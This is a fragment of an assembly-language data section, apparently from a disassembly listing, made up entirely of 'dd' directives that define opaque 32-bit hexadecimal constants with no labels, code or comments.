		dd 93AF1884h, 77322C08h, 0FD1544E3h, 7E123A58h,	4EFFC33Ah
		dd 863B6446h, 8F2F0708h, 1F7CD5B0h, 0F8702095h,	86170094h
		dd 0C267A64Dh, 0D466DED7h, 0D109E098h, 29141850h, 52374CA7h
		dd 1784D69h, 434B2E0Ch,	0C161271Ch, 94D37F10h, 10175059h
		dd 6F8A60CAh, 42308C4h,	8452043Dh, 0E8B5CAF4h, 0CC9053E0h
		dd 0BDD119C8h, 0EF2D1CA6h, 0E0940795h, 0C4A5345h, 4F3E14CAh
		dd 29BB6023h, 0BC401C20h, 0A4C05052h, 414DEF66h, 0DD020AB0h
		dd 0DF6CC7Eh, 0CE708056h, 1E983997h, 0EE72B26h,	0CE972AC1h
		dd 3413FA08h, 0C378C41Eh, 19024198h, 66A8BEF5h,	8E5CE0CEh
		dd 0FD400B5Fh, 0C0494801h, 4130FC3Bh, 7F2781EEh, 0C6C0A01Eh
		dd 0C9CCD906h, 38A3FC38h, 59053D0Bh, 0FEC54025h, 0D8FD1080h
		dd 70C42E4Ah, 6A6B000Ch, 0B8334B02h, 67059092h,	0D339D29Bh
		dd 8C877C94h, 348396C5h, 0C6C9C37Ch, 1D150C69h,	6C48B2BCh
		dd 1B87A30Eh, 0D619A1ABh, 0CAF59A8Fh, 4CD09DD1h, 841C0089h
		dd 2818BB97h, 0C42E3E4Bh, 0BC83F4E0h, 0FE7B70Bh, 0C0D2C808h
		dd 0A846B509h, 519C48CCh, 0B888E8B1h, 0E1D600ABh, 15EBB607h
		dd 0A43ACF27h, 4196009Ah, 0DBE08201h, 4F9400A5h, 48D44D54h
		dd 84B069CCh, 3F60D9C0h, 50F75852h, 7DCE8CDAh, 0E8BF602Ch
		dd 971333D6h, 4F684B06h, 0E0899BD2h, 389500E5h,	7A82279Ch
		dd 9800B796h, 43130A32h, 0C025E6D2h, 4F4D4E28h,	0C0A872D7h
		dd 88A037CAh, 810059A7h, 0CDB7970Fh, 773C94DCh,	250C0B46h
		dd 9C93D743h, 897CE11Dh, 0FA289C01h, 0D0209AB1h, 5C4007BCh
		dd 40C6ED42h, 265B089Eh, 9F4D1E18h, 0A0321821h,	0A1C2F9B0h
		dd 0A8408E50h, 18C10BBDh, 18B20C01h, 683C1C39h,	65BEC0h
		dd 94A88009h, 0B11E2916h, 0A83E15D0h, 0F07B0D0h, 87C45E61h
		dd 326292D2h, 0A781FC53h, 0FAA3D396h, 0CF10B84Bh, 0BC96C8D1h
		dd 0F03C41F5h, 0DB00CB3Fh, 2613A701h, 0D3150Dh,	9310AB72h
		dd 953CC814h, 17C42716h, 0F515C442h, 9CA48431h,	0C164CC00h
		dd 0AE00F4A6h, 0AF84C813h, 0ECA9EBAh, 9E03EA0h,	0CB62C8D8h
		dd 297760FEh, 73099AE0h, 0A5C2D08h, 0BB0850C8h,	0A76B02D5h
		dd 6878BC40h, 10BC8D48h, 685085F4h, 0C5F98036h,	162EE9C0h
		dd 24294D26h, 0A0D01357h, 0A06B1CD8h, 0D20ABABCh, 0E48CA309h
		dd 0D72042EBh, 4102B1Eh, 8B6136F5h, 3DCE081h, 0DF1840F2h
		dd 89309325h, 14A8F240h, 0AAC28288h, 4C84D5AFh,	1B1E04B5h
		dd 2F4C05Bh, 0D650C4h, 7767B929h, 31EE2200h, 0BCA533CAh
		dd 55B10DDCh, 62408623h, 889303F0h, 0B419046Bh,	18B1E386h
		dd 2885C8CAh, 10884DB0h, 38F92867h, 0FD65053Ch,	2750599Ah
		dd 4F9E4258h, 74455CD8h, 0AB0A91BBh, 1F03D13h, 4CC4B28Dh
		dd 0E458809Fh, 36761902h, 0B03D67E6h, 7817C042h, 0B04859A8h
		dd 0C4B71D8Ch, 0D9B57702h, 37C4410Ch, 36037832h, 9CFB3A18h
		dd 930C7101h, 0B6D74464h, 98376841h, 2C45B052h,	0C125DD88h
		dd 20AC2EA9h, 94C444D2h
		dd 10BA0098h, 9E6826E3h, 0BB0293F4h, 4756B1DBh,	280C4150h
		dd 84538C50h, 843AF07Fh, 0D5B30E01h, 0A30B9F68h, 124819Ch
		dd 58CAD69Ch, 94611761h, 2086C096h, 78CFB0DDh, 0F8DCE00h
		dd 0D249AF52h, 0C841D4B4h, 1126883Eh, 0F0802010h, 5D2A000Dh
		dd 9DE3CE7Dh, 0C8A9C794h, 0F89850F7h, 0E51F2819h, 0B1C241B4h
		dd 60C375E0h, 24BABFCh,	0C921372Ch, 0F8F84258h,	19DD4001h
		dd 9D750BC4h, 0D664E041h, 13B78C48h, 0C076FC96h, 0FAF44CA8h
		dd 0CACBAF0Ch, 50507Ch,	96CC20E3h, 27067399h, 2DD02850h
		dd 4B61ED00h, 0B321E6D1h, 90605031h, 0A7F501CEh, 0BA29AD3h
		dd 883C3443h, 53056F16h, 0E06B980Eh, 0CB393F77h, 34129797h
		dd 0A611454h, 0A2E0CAECh, 6A49612h, 2853E540h, 8A00F5FEh
		dd 97EC85D1h, 0C279C849h, 560AE218h, 0EC80ECC7h, 1B8E7FBCh
		dd 0D8446265h, 90C058DFh, 0C1F8D96h, 382C4019h,	0A669C480h
		dd 5033E0BDh, 1B8FACCFh, 306704BCh, 50D0C0AFh, 39007C6Ah
		dd 3F075C5Bh, 19CF3C9Fh, 0B0889AE4h, 5C28511Eh,	0D50C421Ch
		dd 0D2AEE841h, 5DD2AB00h, 0C8A9C24Eh, 70535AFDh, 0BCA0980h
		dd 98D9321h, 2C401A28h,	2FE454C8h, 909B52h, 25E9A99Dh
		dd 0C7CA2D3h, 0AFD4CB6Ah, 0C02E5F79h, 7C220C4Ch, 28847B56h
		dd 400C3CFAh, 19C7BBA8h, 88E015B8h, 4C0984CAh, 8231604h
		dd 900894BBh, 91471C82h, 0E093A06Eh, 0DA0BAECh,	24A81C3Dh
		dd 1401C8C9h, 9600E7E4h, 33546A1Fh, 0C159B436h,	0D47BBEA9h
		dd 6B1840A9h, 1B028BEBh, 3BAA9ACFh, 9A508A71h, 0B739B318h
		dd 97E8015Ch, 867CCB65h, 0B6CC5077h, 7954C7DCh,	0C638568Ch
		dd 409D0949h, 13008B3Ch, 949048DCh, 39C8FB2Ch, 0E1E67B04h
		dd 0D5C8A0FCh, 0D748C20Ch, 48F81192h, 0D000B8EEh, 0D2154316h
		dd 0D750AE86h, 407F243Ch, 37C4C1C1h, 0F570F11Ch, 65882A20h
		dd 903C90A0h, 38485C77h, 0EB3491C4h, 88A07384h,	5CB1F9h
		dd 68AC3DFCh, 10C2D823h, 0A01D58BAh, 0EFD0FD84h, 0E815767Bh
		dd 76E900C4h, 1C33E7BCh, 0D27F48FCh, 515750B2h,	7715C040h
		dd 85D8B70Fh, 233E2B00h, 0E7D5B998h, 7B001038h,	0D2C97F63h
		dd 14B12E15h, 0A5215709h, 5459BCACh, 0F0680B10h, 730C974Bh
		dd 38137998h, 604727CFh, 86645267h, 0C0752787h,	1004A452h
		dd 0B622299Eh, 74260CA7h, 0E18D4DEFh, 3521888h,	0F97CB884h
		dd 28452F0Bh, 9C60CFC4h, 220045FBh, 1A59BDDEh, 0B64D50B8h
		dd 80EF9148h, 0C9579317h, 227143C3h, 20BB60D0h,	0D15663DEh
		dd 713EBA02h, 4044244Ch, 4E5C7BB4h, 8444CEA7h, 0F9304DB6h
		dd 177209DDh, 1907AF02h, 21A291CCh, 509E0B60h, 70587FF4h
		dd 0A802377Ch, 0C7CE3978h, 4D24C0B9h, 983E05CBh, 3A573C49h
		dd 7B92370h, 94205BBEh,	3FACADB8h, 32699FDh, 402E33B1h
		dd 4EBD98Ch, 180022C6h,	19F22507h, 7DE908F6h, 775E1370h
		dd 14FC02A7h, 0A84044A2h, 0FF00FA67h, 0E9BE6141h, 0F888756Eh
		dd 288A0026h, 5E684FC3h, 8B00794Ah, 0DAD2351Eh,	6CBF73h
		dd 0B5C6BAA4h, 87DE7811h, 6D67CC00h, 0D0FCAAE3h, 5C38003Fh
		dd 0E5A8D5FBh, 0B5006894h, 4479E6D3h, 53FCECh, 5BB23C09h
		dd 8840977Ch, 73DE8002h, 0E07F9567h, 0B1A22Dh, 0BD6356CFh
		dd 0E0892E78h, 5DEA80Fh, 0D0BA40AAh, 0EE1C34E3h, 181FAB3h
		dd 252DDF7Bh, 3E45322Eh, 23142CC0h, 0D36D1CEBh,	88370062h
		dd 0A4567D26h, 8006DB3Ah, 0FD19F066h, 19D0D53h,	0C9CD9A6h
		dd 0F042BCC5h, 0E79E3AEh, 64252400h, 0E4A7576Fh, 81DA1F69h
		dd 3ADC000Fh, 0BCF406ABh, 5401A500h, 6C9943A7h,	3180608Fh
		dd 76092759h, 0BF0CEAE6h, 8D2BA8Eh, 20966071h, 3312CAC0h
		dd 696F450h, 0EE0087FAh, 0DEA9CBA1h, 698C73Ah, 9939BCF1h
		dd 70466157h, 72095B01h, 0CBDCA27h, 0DC8994h, 35BC7D1h
		dd 7DB40CCh, 6EF025B0h,	6B1F80D0h, 0D7004E50h, 0FF3C1A27h
		dd 19CD6091h, 12037DAEh, 0F2C5191Dh, 899379CCh,	0DED30007h
		dd 259A3C62h, 8CED1420h, 203D5F08h, 0DEF200FAh,	9AE6C97h
		dd 0F30C0E52h, 40A73050h, 0C5490978h, 1F05697Bh, 41280F1h
		dd 6400C9E4h, 0DC6CD2E8h, 7331F55h, 9F4BE545h, 84747F29h
		dd 53E79A07h, 0C35DE356h, 1384A803h, 0B8699664h, 0FF30CDh
		dd 0AC029C71h, 468A8992h, 0DD15FD00h, 80754D3Ch, 27FC1F2Bh
		dd 7AC9C79Eh, 5FC1FE10h, 0D8934503h, 8548B00Ch,	2A9A003Ah
		dd 0C039EA06h, 0FF2E008Ah, 89683FA7h, 577A4D42h, 76BAB900h
		dd 549A87Fh, 0AC150095h, 2D426F8h, 0FB1C99E1h, 0C440EEAFh
		dd 0D65A4717h, 5F3207B8h, 1166B624h, 40A34416h,	0E476859Ah
		dd 15C04300h, 0FCF36FE0h, 837CC9h, 51B42B94h, 5A78D5CCh
		dd 96B24200h, 0FD204B1Bh, 7021009Bh, 19DD465Dh,	5B3714C0h
		dd 0EA453033h, 6C17BF80h, 1C03E28Dh, 4C810692h,	0CE30E47Eh
		dd 0FA934B03h, 0F77F7BFh, 0CB980626h, 5F52C302h, 0A723209Ch
		dd 0F0100D8h, 4E191791h, 9C00A0EAh, 0B1F1AECh, 336F2D9h
		dd 30A1ABE3h, 0ACA81B7Bh, 0ADFA1619h, 980034E8h, 0BA3C29B7h
		dd 0E6FC269h, 7052961Ch, 1D21A28Ch, 373C8100h, 1893017Bh
		dd 4744000Eh, 220841FBh, 0FFF9F277h, 0F819A807h, 0B330C2FFh
		dd 365A542h, 22AAF5D2h,	20009C85h, 683D7234h, 330DA2C2h
		dd 84C8FFB6h, 162A9CA0h, 195170C1h, 5050EF55h, 237D3EAEh
		dd 0EC18BA82h, 267231h,	0F3437F3Ch, 0F1960113h,	37903060h
		dd 26DDA4Eh, 325A7AB7h,	0DC80974Ch, 4AF5811Eh, 171860C3h
		dd 0E62008DCh, 908C91B5h, 2A74B160h, 3DC4A24Ah,	9F03E77Bh
		dd 0EFDFF822h, 9BF0A11Ch, 0FF18802Ah, 671914A2h, 9FE054h
		dd 8AA407A5h, 573A1109h, 0C30FDD00h, 582E5988h,	0C67F068h
		dd 0FA4F5234h, 0CD00B9B9h, 0F36D66E2h, 6604DB7Bh, 586B08C3h
		dd 94001779h, 760896DCh, 6CE7D9Fh, 236FF740h, 997B2031h
		dd 0AC62460Dh, 300B100Fh, 3332D584h, 31E80CABh,	1939FE2Ah
		dd 0D01CC903h, 105739AEh, 0C04E35B9h, 9EB3E2CCh, 32CA5BCh
		dd 34E2C144h, 3DCCB4F0h, 911E0872h, 7F946440h, 0E2CE8050h
		dd 432B6D29h, 2EC427Ch,	6FE2CAD6h, 0FBDCE06Dh, 99510060h
		dd 0D7EA93DAh, 81305665h, 0C1B442EEh, 88200A7Fh, 0CC4B39h
		dd 0CCC47242h, 840AE050h, 90457BC8h, 0C0685674h, 31660076h
		dd 0A4766962h, 0BC068B74h, 16CB1B26h, 7B1E1229h, 2D3446F7h
		dd 431E1937h, 0EC0F7F10h, 9D52400Ch, 513B8Dh, 0ADBC658Fh
		dd 1BC98032h, 8678B1C0h, 0A4CA63h, 50CB25Eh, 100FBB1Dh
		dd 2E7921C0h, 2CFA763h,	3971EBDEh, 4403C37h, 4A070B82h
		dd 521ECC56h, 48FE2882h, 941964h, 7DB29F8Bh, 8516FD1Dh
		dd 0FCFA4070h, 7A6C788h, 609197D3h, 771A70E5h, 0AD19EA2Ah
		dd 0E8C932D9h, 16F379C4h, 0F582AFh, 9FFFF213h, 0D97B57C0h
		dd 8614A092h, 80682932h, 0A4B97FFFh, 68C8D026h,	0D8753F22h
		dd 0C50B6300h, 4C14BFE3h, 7956EE29h, 514F1CF7h,	0B95780B1h
		dd 46CDF37h, 17762688h,	3164994h, 0FD857B7Fh, 111BDE00h
		dd 0C9C3C4AEh, 0FF870F0Ah, 52F335B9h, 23842F34h, 3F930087h
		dd 16F924B7h, 0FA40053Eh, 0C75CA901h, 910BFE18h, 2EE06F00h
		dd 0FB64850Ch, 77B2DBh,	2E47D0Ah, 0EA239A7Ah, 0DA429002h
		dd 48F06267h, 3330C3Ch,	0B126B895h, 81C8CDF6h, 80C54904h
		dd 0BC40E7C0h, 5FE5869Ah, 91D51D4Fh, 0B4570203h, 6441F136h
		dd 8C2184Bh, 0CB6D75E2h
		dd 433C0C2h, 0F6B480BAh, 130185C4h, 710B6B6Eh, 9910C7CAh
		dd 0E2601E33h, 0C1579779h, 5F7E1EFh, 60D87910h,	7ED4C033h
		dd 37032BABh, 0ED7BF65Fh, 0B3CCF824h, 663609C1h, 18844630h
		dd 7B8C9084h, 657C3B86h, 135A9E12h, 302B1422h, 0C3126325h
		dd 7C6296A4h, 2D622012h, 6E30C863h, 0D6CA503Ah,	428CF0ACh
		dd 1D4A2232h, 673D90h, 7DBB0FCAh, 1E03493Bh, 214C340Ch
		dd 4420003Ah, 0ED89CA14h, 0F50F8BF6h, 80920698h, 5E692C81h
		dd 67651D87h, 9D183048h, 0E500E2A6h, 8FF596B9h,	0E8EF5FC2h
		dd 208261DEh, 60C34F0Eh, 0D460DA4Eh, 0E7638760h, 0FF3B0773h
		dd 0A0B03F79h, 8351AD8Ch, 981E0478h, 229CDFh, 0CFCB583Ch
		dd 2BC52DCDh, 919E4230h, 3096219Dh, 67B90415h, 214CA30h
		dd 886C65BBh, 18C58020h, 8D8545CAh, 1F005B7Dh, 7AF786B8h
		dd 0B46AE2Ch, 84804C4Ah, 0CC10E980h, 70CE8D3Ch,	893BE372h
		dd 0E540D768h, 20D6AEh,	33B1CE46h, 0DB58C113h, 6200EB75h
		dd 0DF52D41Ah, 13DB274h, 968B9923h, 0EC934445h,	0D9028EC1h
		dd 4F14659Eh, 7780F7FCh, 0BC0AB406h, 3A23F095h,	3581A71Bh
		dd 3C62AAB7h, 0A44080D0h, 72DCEE76h, 4101CB2h, 9D188057h
		dd 0DA94637Eh, 13E3C900h, 8849148Ah, 2D1600B2h,	0E7790F5Dh
		dd 4D00A478h, 0D7E6F47Dh, 0F9EAC48h, 1D202192h,	0FB3FC03Dh
		dd 9D86E3C8h, 76804FF8h, 0AD750085h, 0E2D297B1h, 7F008D8Fh
		dd 87937962h, 735B5F0h,	0FE7E9C0Ch, 3C807148h, 49804017h
		dd 960058E8h, 25F1F25Ah, 0CEDF12h, 0C72D3C19h, 3A38049Dh
		dd 0D6BA0B00h, 0EEBC98E0h, 21140084h, 9D1995A9h, 61DFB91h
		dd 985466AAh, 0BB7476A0h, 1F02AC00h, 5451C5D6h,	0DCC8016Ch
		dd 84A5FC0Fh, 628040D0h, 0BC0306FAh, 4C16546Fh,	321E981Ah
		dd 467800B5h, 0DE5CC731h, 0D0398A3h, 0B7FB1D90h, 8D368015h
		dd 0F29DA0F4h, 1139006Eh, 0ED5ABEE8h, 9D50EA4Ah, 310963C0h
		dd 0D807D430h, 1DE638h,	34F7C6DDh, 0DC675D60h, 7717A614h
		dd 0F8E70FA0h, 0D93580B7h, 12139Bh, 3AA5B6EAh, 0D56FCAF6h
		dd 7978E0Fh, 0B9BF0717h, 32C1B577h, 3DC4BDADh, 0B1F400D9h
		dd 6D54A331h, 39001B29h, 0BBBECD5Bh, 0F6BD48A5h, 46DE00D6h
		dd 0F3298432h, 3E0C3A50h, 403617F5h, 8D2C1C33h,	0DE9743F0h
		dd 0CDEBBF68h, 563ECF0h, 9E5DE41Ch, 427E4Eh, 466F4A15h
		dd 222D1813h, 0ACB1C073h, 24506C3Fh, 3C87A009h,	35601234h
		dd 0C18B7Dh, 383725A0h,	99CE6A9Ah, 0F304EB7Eh, 883E69DAh
		dd 7506F480h, 0FE7501h,	0E422AE4Ch, 0E1CC1F2h, 890D210Fh
		dd 373FC1E1h, 3183733Dh, 0E7F10832h, 0CA640F98h, 8109D31h
		dd 209E4002h, 0BEF10F52h, 0D6DAC69Fh, 0AB00388Fh, 4560AA3Bh
		dd 7A97E2h, 502A2F86h, 40340A84h, 4119EA00h, 0C8748587h
		dd 4C3DE259h, 2C001CD3h, 0A2323749h, 0F2608F83h, 3FF85989h
		dd 7844072Dh, 10AFF9C6h, 633331A0h, 83600E1Dh, 0FF10F5C0h
		dd 50933D7Dh, 0A780AF26h, 98EA0420h, 0B7BB30A8h, 0D5400022h
		dd 0E0FC4A1Bh, 789A9759h, 3764B85Ch, 3D85F127h,	0A43043Dh
		dd 0EA103E46h, 7E00B638h, 6EC605DAh, 430F5AECh,	0C0319BB4h
		dd 4FC076DFh, 3B1231E8h, 11F7A929h, 0D312B379h,	883CD910h
		dd 0B488FC6Dh, 0AC99404Ch, 5766C000h, 77ACB0Bh,	0B76A3E5Ch
		dd 0D43C8980h, 772A9059h, 0C7985310h, 0E3AEAB00h, 46A3FFF8h
		dd 163F38ECh, 0C032009Dh, 9612AABDh, 2F4239D8h,	1EFD1F76h
		dd 70C280DCh, 0D3A35EF8h, 94719B14h, 772100C5h,	0F4E84A40h
		dd 42900C9h, 140EB03Eh,	9B000C1Bh, 5D539F78h, 37DDDBh
		dd 47E1826Fh, 0F84487E8h, 121BB100h, 4EEAB6BAh,	11E30002h
		dd 7A7427F9h, 107B2337h, 0FC9BA507h, 0E0BF31C1h, 2ACFA491h
		dd 65340076h, 10B31D40h, 0BB005BE9h, 830EE46Dh,	0E8B8623Eh
		dd 2E960F02h, 9B40635Ch, 2F461A57h, 0DD151B00h,	73EC54CAh
		dd 7CA601DBh, 33AF0EB7h, 41D9E849h, 0A5959A00h,	4CE0A1Eh
		dd 20B260BBh, 8AF0124Dh, 170008F6h, 462ECB39h, 304AB3Fh
		dd 0D73BE330h, 60FF9267h, 0DC8E94CAh, 0D2A8120Fh, 11D4C3E0h
		dd 0EF980863h, 82002104h, 7E3A30A4h, 8DBD00B4h,	55F90AC1h
		dd 2B1823EAh, 0A610C5F3h, 0BDAEC062h, 0D7DA4A60h, 7CB03Fh
		dd 372F88E3h, 1E4EAD1h,	64D4B15Eh, 402A57D3h, 0EDFA8CAFh
		dd 0EEE38600h, 0BAA440CBh, 0FBEA00B3h, 73151F23h, 45140D44h
		dd 0BC5020h, 0D83A5679h, 102D2h, 0BA3BC56Ah, 0C1A4DE57h
		dd 0B9D04D1Eh, 0AFD448DDh, 411D0088h, 32081A66h, 94D90012h
		dd 0F5111F6Eh, 5E6C6D6h, 8C013900h, 30BB2316h, 0DEB0291h
		dd 3A76C9FEh, 2BCD8082h, 0D460F5E1h, 44076809h,	694D1A61h
		dd 0C92E9100h, 780FEA5h, 0CB19E4DBh, 0A0553763h, 0FE532479h
		dd 0CD7F44ECh, 60C648h,	23D4DEC8h, 959F9Ah, 0B942F88Bh
		dd 0C4D6403Ah, 3899195Ch, 0E68007D1h, 64903ED5h, 0F2B7A9h
		dd 47247193h, 0EC30291Eh, 75BCC050h, 22037BE6h,	0B4F138A5h
		dd 1FB7B09Ch, 0D394004Ch, 782C3FD7h, 27004F02h,	89090BC2h
		dd 19CC60Eh, 0D9AF03D8h, 0E81518EAh, 1BEA753Ah,	0A9E62B00h
		dd 7613B5CCh, 1C300E0Fh, 0BC2FB3h, 41A873AFh, 0CD488BECh
		dd 3200010h, 0F718857Eh, 644764Ch, 0BF78167Dh, 7700A0C4h
		dd 4EA4DAD9h, 0A369B6h,	43E0197Bh, 266E1FB1h, 0D227C00h
		dd 8A9493AEh, 480A00A8h, 8F30A254h, 2926EBCDh, 6D008008h
		dd 0D6C817AFh, 0D73C0233h, 0D04765A7h, 208EBC40h, 7CF99501h
		dd 1D0C0FFEh, 0E62FD0h,	2EDCEC98h, 41BC05D7h, 99D3E701h
		dd 0D8C92E3h, 0C324F0h,	9ADD62DEh, 0EB6E513Bh, 7841F0C3h
		dd 7320FFD1h, 866DCCh, 2CD3E88Ah, 0E915D74Eh, 0C9EB5214h
		dd 0ED472480h, 6ED52400h, 39CA722Dh, 0AD004165h, 40CEFB6h
		dd 0A4018CE7h, 5A879A09h, 0C0DE4439h, 38C6CCBDh, 0F90B1E2Ah
		dd 17586EFh, 0B76699E8h, 755430h, 14B1A9FFh, 0C7166C93h
		dd 0C2285900h, 88C4318Ch, 8E3D009Eh, 74CBEBF6h,	5D00B549h
		dd 84B2A176h, 0A0C60122h, 14FA45C0h, 0D41CCEA9h, 0B4817AC0h
		dd 9603DFD2h, 6D729A68h, 7B59B8C9h, 975314EEh, 9F3FACB6h
		dd 81CEF181h, 0D4ABED14h, 0D400B891h, 7AE49742h, 0BF1EF9h
		dd 0F0E0FD66h, 90779599h, 432CE807h, 5630225Eh,	0E42B0CD3h
		dd 0BAAA0781h, 0D9015B76h, 9A06AC02h, 7007864h,	0B0CAD9A0h
		dd 0E727Ah, 9455333Ch, 6C877FC6h, 79E0B5A3h, 1C00FBE2h
		dd 58D47323h, 0E62C95B0h, 9F21248Ah, 6459097Ch,	16B34C03h
		dd 0F3B47297h, 48AE9080h, 350070DFh, 4BF94491h,	3536236h
		dd 0D913ED16h, 11906988h, 70E9560h, 80725A3Dh, 246E0FCBh
		dd 88F75085h, 7C5504FDh, 0C0DA234Dh, 0A76BD2F0h, 8948A600h
		dd 18DF59EAh, 6280C265h, 0FE40C115h, 141D66B0h,	5D405426h
		dd 8FD99B18h, 49B300E6h, 11A20E03h, 0D40050CAh,	52657A85h
		dd 78C55B7Eh, 0D1050067h, 840313EBh, 0B503C43Fh, 0D7150CC7h
		dd 93BC083h, 0C0F30027h, 84DBAA4Bh, 0AC003054h,	9A400649h
		dd 835399h, 7579B44Ah, 0ADF3CC9Bh, 0B3127AE2h, 0F500C2C9h
		dd 0F78D018Ah, 4D7E0060h, 137486EAh, 0C8070C5Ch, 36B614CBh
		dd 6163DEF0h, 1D990E53h, 5AE0797Ch, 28E57A48h, 0ADD22700h
		dd 47B2FA6h, 1F8801AFh,	0F683C30Ch, 0F947DCB7h,	95E3C91Ch
		dd 0C19BDB4Fh, 92EAFFA0h, 4DDF20h, 4A2907C8h, 34AFCA68h
		dd 260AE100h, 0E96E7DB5h
		dd 57EB1D08h, 3798C08Fh, 0CAED82Eh, 6CE2D000h, 9B35BCD1h
		dd 0AA9700BAh, 9349A07h, 58027AE8h, 0A3951465h,	6BC0F7B2h
		dd 9F00C66Eh, 0DD0345D3h, 76D6F4h, 0F504DA87h, 38DB1D44h
		dd 0B73E2372h, 0F97C01D7h, 3B6DAC40h, 116430h, 4A8A5302h
		dd 8F317034h, 0C3A62B00h, 5C473A12h, 0ED570321h, 0C5058CB7h
		dd 0ACE19898h, 37FA1600h, 2ACC8352h, 0CABE00E4h, 0D16F932Dh
		dd 0DD0021ECh, 0B8C4DCFEh, 5F3F9EFCh, 7FBBCA9h,	42DE6024h
		dd 0FC0C6C0Fh, 75CB58D5h, 562B600h, 4ACFD0B3h, 0E7008978h
		dd 314D9728h, 10C913h, 771DFAB5h, 0D244DE14h, 0BBB46F03h
		dd 7563DCAh, 32756511h,	0D176B34Ah, 800FA5C0h, 0B0D0EA00h
		dd 0DCE8496Eh, 0A78D0022h, 2D7A2719h, 700D8ABh,	2C548718h
		dd 77852CEh, 4FCBF6F8h,	0EFE3E08Fh, 6F00C872h, 0B0391C58h
		dd 41C708h, 1724BCA5h, 7F065B0Eh, 0ADA92600h, 0E1621E5Fh
		dd 279C0036h, 0C2449EE3h, 0E500F279h, 0AE3F3449h, 0B97A01h
		dd 64DB1FAh, 0EBF538BAh, 0C04A20C3h, 18D2F05Ah,	0D43A0FA0h
		dd 562FF60Dh, 75BCB8A0h, 900580Ch, 0E8AB37CCh, 16F6E04h
		dd 0E9E16B49h, 0C8960AECh, 287B6CB1h, 468C6601h, 5F98C9D3h
		dd 0CDFB9340h, 9F5C0064h, 1482C152h, 67031D46h,	868A0B06h
		dd 28FC0044h, 0CB7A8417h, 91003E89h, 10F079E8h,	634B0Bh
		dd 0DFB3AFDAh, 9AE999E0h, 0A023B803h, 3374598h,	91259BF8h
		dd 86C0A350h, 0CE73E773h, 30038103h, 0EFF5BF65h, 0D9367A30h
		dd 0CC3402AEh, 291FFC7Fh, 2240A980h, 0B7003C52h, 9F5474E7h
		dd 0FC5F60h, 649C01ADh,	5EF7CC0Eh, 0D168F00h, 0E7377D07h
		dd 3F4C0014h, 9D97B141h, 6400535Fh, 0E3AF366Bh,	261DD67Eh
		dd 49E7D8h, 2C523B0Ah, 0AE1F34FAh, 36872035h, 9670A647h
		dd 3E8F75CAh, 8D055038h, 0C3DA1AFAh, 21FF26E0h,	0F015DC6Dh
		dd 4F00F9CBh, 0DE04209Eh, 21B492h, 0CA0F3EFh, 24A136EDh
		dd 0E611BF01h, 0AFC02DC1h, 137C0C20h, 601A6Ah, 52122804h
		dd 17003C30h, 0FD739632h, 4F00C39h, 4209EAF5h, 0F80880FFh
		dd 4A04C307h, 8A12C0E1h, 0E0279887h, 0B19C297h,	0F9D60010h
		dd 7DFE60DCh, 308600CDh, 24050D08h, 8700C638h, 5116D534h
		dd 428AAF4h, 509EC744h,	7E00BABDh, 0A8ACEE8h, 0CAAF18E2h
		dd 0E43B381Eh, 680E3C00h, 0BFDC7F9Eh, 0A9480090h, 4FC87966h
		dd 270C1D8Ch, 3012178Ah, 0AA470001h, 0C3DAD544h, 0E50049E4h
		dd 32395420h, 5862A8BEh, 6860C83Ch, 5D56882Bh, 0AF58FB00h
		dd 0A584F8A6h, 1E5090C4h, 41D0A9B1h, 0BD14CE9Bh, 0D0282536h
		dd 0E702957Fh, 63A2CD11h, 0AE9AE04Dh, 21DD09EBh, 190820DEh
		dd 8B803898h, 7A3ABFDFh, 4501E3D6h, 0B8D0E9E6h,	0A5C4215Eh
		dd 9C9E009Fh, 0B23EF20Ah, 29741591h, 0F804E930h, 5D3957h
		dd 3F706538h, 14C86637h, 920FF3Eh, 804F0594h, 62F2DC18h
		dd 2F47275h, 0C9573D0Fh, 0C0410DA9h, 0D0F841F0h, 18C02084h
		dd 7AC7208h, 67D0190h, 0E49EB273h, 0BD00838Ch, 0A7EA6B50h
		dd 4AE61Dh, 0B7B553C4h,	0B9C3D06Dh, 0B80748h, 432406D1h
		dd 16485Bh, 74EF0CBEh, 44D79D20h, 23B5F102h, 9307DA60h
		dd 894ED998h, 0E751EC50h, 20300099h, 1A025EF6h,	253BAA16h
		dd 67E806Fh, 0C44FCCFBh, 842100ABh, 0E91DF5B1h,	0BC1C0D7Fh
		dd 69C1B0D2h, 20F889FCh, 86ECC6E9h, 38DC00B9h, 1A079812h
		dd 103F182Fh, 74AF1ED8h, 0F3FBDFC0h, 1E24ECh, 89E90516h
		dd 63D039F9h, 9100E490h, 7122370Fh, 0CE9EACh, 0DD981096h
		dd 163CC013h, 0FAA64501h, 30DA792Dh, 0CC0CA12Ah, 0AC02A8CBh
		dd 6F9C2CFEh, 3C427Bh, 6ABD20B6h, 747D042Bh, 804E26BCh
		dd 5FB4DCB0h, 83D4CD17h, 8C5B00EFh, 0EFD891BDh,	37135377h
		dd 15030E79h, 90BA6C80h, 12F8B065h, 0C40BF2h, 0E51563D8h
		dd 571A7EFEh, 80701DF0h, 4DA4CAAEh, 71331E29h, 0C560003Bh
		dd 0F07A2E8Ah, 0B046F100h, 53577C12h, 59F600ABh, 145F4C01h
		dd 950CBA2Eh, 60C3BF0Fh, 2A748476h, 1648013Eh, 8C0EDFEEh
		dd 0DCC72063h, 98C4AD29h, 76B800BDh, 64E0C168h,	9D0049DAh
		dd 676A1B18h, 0A338D1h,	9F333A2Dh, 0F9F0600Ah, 66245800h
		dd 0EFDCFB2Eh, 18730F8Ah, 1F6079D2h, 0F2472DB0h, 3CC0A0DEh
		dd 0E2FE1630h, 160B26Ah, 7534198Ch, 805B62CCh, 0CD0BC3F8h
		dd 0B2D7A3DEh, 3A321D54h, 849A0780h, 1A4D5259h,	0F46F3849h
		dd 5D002796h, 226E586Bh, 7BCA27Ah, 0A910498Eh, 8F61C167h
		dd 0F780854Ah, 881C3F13h, 44843000h, 9AFFDB26h,	61DE62Ch
		dd 5943BED1h, 6400616Eh, 0AA7654ECh, 0B02CBFh, 0C5030CADh
		dd 8628E94Ch, 5C152901h, 0FE377A0Dh, 12D647F0h,	411937Eh
		dd 400A074Ch, 0ECACF3DBh, 88ED0B61h, 1000D4D9h,	8B44EB30h
		dd 6BB63Dh, 0E013F568h,	7C0A4Bh, 89A0A4C6h, 9CEC8436h
		dd 5823BB00h, 0B463F85Ch, 0BA78A1h, 4497E7B9h, 4D39ACFDh
		dd 73D83F01h, 27AD7438h, 0E50464h, 0BEB0455h, 81EAF142h
		dd 0DA911C00h, 8F2F89E7h, 0BBCB1E4Ch, 57058078h, 0E8C83DC1h
